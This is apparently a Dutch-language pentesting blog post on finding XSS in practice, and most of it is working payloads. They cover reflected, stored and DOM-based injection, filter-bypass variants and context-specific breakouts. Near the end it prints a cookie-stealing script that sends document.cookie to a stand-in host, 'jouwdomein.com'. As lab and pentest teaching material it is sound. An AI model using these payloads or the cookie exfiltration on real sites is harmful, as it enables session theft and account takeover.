In mijn vorige blogpost vertelde ik hoe je de drie soorten XSS herkent. Dat was de theorie. Nu komt de praktijk, en die is een stuk minder netjes dan de theorie ooit laat vermoeden. In echte pentests ontdek je XSS niet door eindeloos payloads te proberen, maar door te kijken naar wat een applicatie met jouw invoer doet. Die reactie bepaalt welke payload werkt, niet andersom.
Reflectie is meestal het eerste teken dat een pagina kwetsbaar is. Zodra je je eigen invoer direct terugziet, kun je voorzichtig testen of je de HTML structuur kunt beïnvloeden. De payload die ik dan het vaakst gebruik is klein en scherp en zegt meteen alles wat je moet weten:
"><img src=x onerror=alert(1)>
Deze payload sluit de bestaande HTML af en opent een nieuwe context. Als de pagina daarop reageert, weet je dat je te maken hebt met reflected XSS. Geen grote scripts, geen schreeuwerige proof of concept, alleen een subtiele bevestiging dat jouw input uitvoerbaar is.
Stored XSS vraagt een andere manier van kijken. Daar test je niet alleen of de invoer wordt uitgevoerd, maar ook of deze wordt opgeslagen en later opnieuw wordt weergegeven. Dat moment waarop de payload uit de database terugkomt, is precies wat stored XSS zo krachtig maakt. Om dat te testen gebruik ik een vergelijkbare payload, eentje die zichzelf voordoet als onschuldige afbeelding:
<img src=x onerror=alert('Stored XSS')>
Deze kleine trigger vertelt je meteen of de pagina opnieuw je data verwerkt. Als je een melding ziet wanneer je op een totaal andere plek in de applicatie bent, weet je dat de payload leeft. In een pentest is dat vaak het begin van een veel grotere impact, vooral wanneer administrators dezelfde pagina bekijken.
DOM based XSS werkt weer heel anders. Het draait daar niet om de server, maar om de browser zelf. Als ik vermoed dat een applicatie invoer rechtstreeks vanuit de URL in de DOM plaatst, gebruik ik bijna altijd de hash variant. Die blijft volledig aan de clientside kant en is dus perfect om te testen hoe de frontend met data omgaat. Mijn standaardtest ziet er dan zo uit:
#"><img src=x onerror=alert('DOM XSS')>
Als deze payload wordt uitgevoerd zonder enige interactie met de server, weet je dat de frontend logica onveilig input verwerkt. Developer tools bevestigen daarna precies waar de fout zit.
In labs en pentests kom je regelmatig filters tegen die proberen XSS te blokkeren. Soms blokkeren ze alleen de script tag, soms bepaalde woorden of tekens en soms alleen lowercase varianten. Dan helpt het om verder te denken dan de klassieke payload. Wanneer script tags bijvoorbeeld worden geblokkeerd maar andere HTML elementen niet, werkt een afbeelding of SVG vaak uitstekend:
<svg onload=alert(1)>
Als ik merk dat het woord alert wordt geblokkeerd, probeer ik een alternatieve functie die hetzelfde effect heeft:
<img src=x onerror=confirm(1)>
Wanneer quotes of spaties worden geblokkeerd, gebruik ik payloads die zonder quotes of spaties werken, bijvoorbeeld in de vorm van compacte HTML:
<svg/onload=alert(1)>
En als filters alleen naar een exacte schrijfwijze kijken, kunnen hoofdletters ineens de sleutel worden:
<ImG sRc=x oNeRrOr=alert(1)>
Wat voor filter je ook tegenkomt, je leert al snel dat XSS protecties vaak halfslachtig zijn. En precies dat maakt het testen zo interessant: je ziet niet alleen dat iets kwetsbaar is, maar ook hoe het is opgebouwd.
De context waarin jouw payload terechtkomt bepaalt meer dan welke payload je kiest. Als je input in een HTML attribuut valt, werkt een simpele event handler vaak perfect:
" onmouseover="alert(1)
Komt je invoer terecht in een JavaScript string, dan kan het verbreken van die string genoeg zijn om code injecteerbaar te maken:
';alert(1);//
Wordt je input in een URL geplakt, dan kun je daar juist browser functies misbruiken:
javascript:alert(1)
Hoe je test hangt dus volledig af van waar de applicatie jouw input neerzet. De payload is nooit het beginpunt. De HTML context is dat wel.
Wat XSS in PNPT labs zo interessant maakt, is dat de scenario’s bijna altijd realistische fouten laten zien. Een zoekveld dat alleen script tags blokkeert en daardoor een SVG onload doorlaat. Een contactformulier dat quotes filtert maar geen enkele andere HTML. Een URL parameter die zonder nadenken in de pagina wordt geschreven. Een commentsysteem dat input opslaat, maar alleen controleert op het woord script. Het zijn precies de fouten die je in productieapplicaties nog steeds dagelijks ziet.
Dan komt het punt waar veel beginnende pentesters twijfelen: hoe bewijs je de impact zonder alleen maar alert vensters te laten zien. In een echte pentest wil je vaak iets subtielers. Een DNS callback met een onschuldig request laat al zien dat je code kunt uitvoeren:
<img src="http://jouwdomein.com/xss-test">
Of een logging payload die stilletjes in de browserconsole schrijft:
<script>console.log('XSS werkt')</script>
Of een veilige cookie steal proof of concept die niets beschadigt maar wel bewijst dat je de sessie kunt onderscheppen:
<script>
new Image().src = 'http://jouwdomein.com/steal?c=' + document.cookie
</script>
Deze varianten laten de ernst zien zonder de gebruiker te verstoren.
XSS testen blijft uiteindelijk een soort gesprek tussen jou en de applicatie. Je begint met een vraag, de applicatie geeft een antwoord en op basis van dat antwoord ga je verder. Elke payload vertelt je iets over hoe de ontwikkelaar heeft gedacht. Als een SVG werkt, betekent dat dat men alleen script tags blokkeerde. Als een string break werkt, betekent dat dat invoer blind wordt gebruikt in JavaScript. En als een DOM hash payload aanslaat, weet je dat iemand vertrouwde op client side logica zonder ooit te valideren.
Precies dat maakt XSS zo leerzaam. Je ontdekt niet alleen waar het fout gaat, maar ook waarom het fout gaat. En dat inzicht neemt niemand je meer af.